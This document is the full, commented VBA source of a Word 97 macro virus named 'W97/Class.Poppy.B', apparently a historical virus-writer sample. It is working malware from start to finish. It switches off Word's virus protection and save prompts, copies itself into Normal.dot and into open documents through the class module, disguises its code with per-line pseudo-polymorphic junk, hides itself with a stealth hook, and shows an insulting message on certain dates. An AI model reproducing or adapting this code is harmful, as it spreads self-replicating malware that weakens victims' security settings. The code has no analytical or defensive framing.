'W97/Class.Poppy.B
'Word 97 Class Object Infector
'First Ever Class Object Infetor

Sub AutoOpen()

	' AutoOpen Sub In Document

On Error GoTo out

	' Handle Errors

Options.VirusProtection = False

	' Turn Off Virus Protection

Options.SaveNormalPrompt = False

	' Turn Off Normal.dot Save Prompt

Options.ConfirmConversions = False

	' Turn Off Conversion Prompt (from 95 -> 97)

ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

	' Count The Number Of Code Lines In The Document

nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

	' Count The Number Of Code Lines In The Normal.dot

If nt > 70 And ad > 0 Then GoTo out

	' If We Are Installed In Both (Lines > 0 and 72) Then Exit

If nt < 70 Then

	' If We Are Not In The Normal.dot (Lines < 72) Then Install Us

    Set infect = NormalTemplate.VBProject.VBComponents.Item(1)

	' Set Normal.dot Class Section As Infect Object (What We Want To Infect)

    ActiveDocument.VBProject.VBComponents.Item(1).Name = infect.Name

	' Swamp The Class Section Names (Active Doc <- Normal Template)

    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"

	' Export Our Virus Code

End If

If ad = 0 Then Set infect = ActiveDocument.VBProject.VBComponents.Item(1)

	' If We Are Not In The Active Doc (Lines < 0) Then Install Us

If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"

	' If The Day And Time Are Right Insult The User

infect.codemodule.AddFromFile ("c:\class.sys")

	' Use The Infect Object - Import Your Virus Code

With infect.codemodule

	' With The Newly Infected Class Object

    For x = 1 To 4

	' Clean Up The First 4 Lines Of Header-Code

    .deletelines 1

	' Delete Line 1 - 4 Times

    Next x

End With

If nt < 70 Then

	' If We Just Infected The Normal.Dot

    With infect.codemodule

    .replaceline 1, "Sub AutoClose()"

	' Change AutoOpen (on line 1) to AutoClose

    .replaceline 71, "Sub ToolsMacro()"

	' Change Sub ViewVBCode (on line 71) to ToolsMacro

    End With

End If

With infect.codemodule

	' With The Newly Infected Object

    For x = 2 To 72 Step 2

	' Use Word Object Data As Polymorpic Code On Every Other Line

    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow

    Next x

End With

out:

If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

	' If We Just Infected A Document Save It On Close

End Sub

Sub ViewVBCode()

	' Stealth Hook

End Sub